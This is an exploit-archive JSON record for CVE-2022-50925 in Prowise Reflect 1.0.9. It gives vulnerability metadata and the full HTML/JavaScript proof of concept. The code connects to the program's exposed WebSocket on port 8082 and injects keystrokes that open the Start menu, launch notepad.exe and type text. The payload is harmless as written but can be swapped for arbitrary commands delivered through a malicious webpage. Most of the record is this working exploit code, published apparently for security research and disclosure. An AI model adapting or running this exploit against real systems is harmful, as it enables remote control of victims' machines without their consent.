{"exploit":{"id":"EDB-50796","name":"Prowise Reflect 1.0.9 - Remote Keystroke Injection","description":"Prowise Reflect 1.0.9 - Remote Keystroke Injection","cves":["CVE-2022-50925"],"author":"Rik Lutz","published":"2022-03-02","platform":"windows","type":"remote","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50796","path":"exploits/windows/remote/50796.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50796.html","vulnerabilities":[{"id":"CVE-2022-50925","state":"PUBLISHED","title":"Prowise Reflect v1.0.9 - Remote Keystroke Injection","titleSource":"CVE Program","description":"Prowise Reflect version 1.0.9 contains a remote keystroke injection vulnerability that allows attackers to send keyboard events through an exposed WebSocket on port 8082. Attackers can craft malicious web pages to inject keystrokes, opening applications and typing arbitrary text by sending specific WebSocket messages.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-50925","cvss":{"version":"4.0","baseScore":8.6,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-50925"},"updatedAt":"2026-04-07T14:06:41.170Z","retrievedAt":"2026-11-25T21:44:09.533Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50796.png?v=2","url":"https://exploitbin.com/exploits/EDB-50796","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50796/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50796/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Prowise Reflect v1.0.9 - Remote Keystroke Injection\n# Date: 30/10/2022\n# Exploit Author: Rik Lutz\n# Vendor Homepage: https://www.prowise.com/\n# Version: V1.0.9\n# Tested on: Windows 10\n\n# Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection.\n# Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed),\n# or by visiting a malicious website. This POC contains the malicious webpage.\n# Steps:\n# 1. Start Prowise reflect\n# 2. Try to connect to a reflect server e.q. ygm7u6od\n# 3. When it is connecting click exploit\n#   - Start menu will open, types notepad.exe and types hello world.\n\n<!DOCTYPE HTML>\n\n<html>\n   <head>\n\n<script type = \"text/javascript\">\n\nfunction wait(ms){\n\tvar start = new Date().getTime();\n\tvar end = start;\n\twhile(end < start + ms) {\n\t\tend = new Date().getTime();\n\t}\n}\n\nfunction WebSocketTest() {\n\tvar StateConnecting = new Boolean(false);\n\tif (\"WebSocket\" in window) {\n\t\t// Let us open a web socket\n\t\tvar ws = new WebSocket(\"ws://localhost:8082\");\n\n\t\tws.onopen = function() {\n\n\t\t\tws.send('{\"event\":\"keyboard\", \"key\":\"super\"}');\n\t\t\twait(400);\n\t\t\t//character is slower\n\t\t\t// ws.send('{\"event\":\"keyboard\", \"character\":\"notepad.exe\"}'};\n\n\t\t\t// You can check for connecting state by sending {\"event\":\"setupRTCConnection\", \"remoteName\":\"a\"} if the response is {\"event\":\"streamAvailable\"} getIsConnecting == true\n\t\t\tvar exploitcode = \"notepad.exe\"\n\t\t\tfor (let i = 0; i < exploitcode.length; i++) {\n\t\t\t\tws.send('{\"event\":\"keyboard\", \"key\":\"' + exploitcode[i] + '\"}');\n\t\t\t}\n\n\t\t\twait(300);\n\t\t\tws.send('{\"event\":\"keyboard\", \"key\":\"enter\"}');\n\t\t\twait(2000);\n\t\t\texploitcode = \"Hello world!\"\n\n\t\t\tfor (let i = 0; i < exploitcode.length; i++) {\n\t\t\t\tws.send('{\"event\":\"keyboard\", \"key\":\"' + exploitcode[i] + '\"}');\n\t\t\t}\n\t\t\twait(200);\n\t\t};\n\n\t\tws.onmessage = function (evt) {\n\t\t\tvar received_msg = evt.data;\n\t\t};\n\n\t\tws.onclose = function() {\n\n\t\t\t// websocket is closed.\n\t\t\talert(\"Connection is closed...\");\n\t\t};\n\t} else {\n\t\t// The browser doesn't support WebSocket\n\t\talert(\"WebSocket NOT supported by your Browser!\");\n\t}\n}\n</script>\n\n   </head>\n\n   <body>\n      <div id = \"sse\">\n         <a href = \"javascript:WebSocketTest()\">Exploit!</a>\n      </div>\n\n   </body>\n</html>","sha256":"27bd8d210a373663fe2322676246e29e07852cd1c0458cd28f6c513a6a92dd27","bytes":2283,"fetchedAt":"2026-11-26T15:07:08.411Z","encoding":"utf-8 (display only; download retains original bytes)"}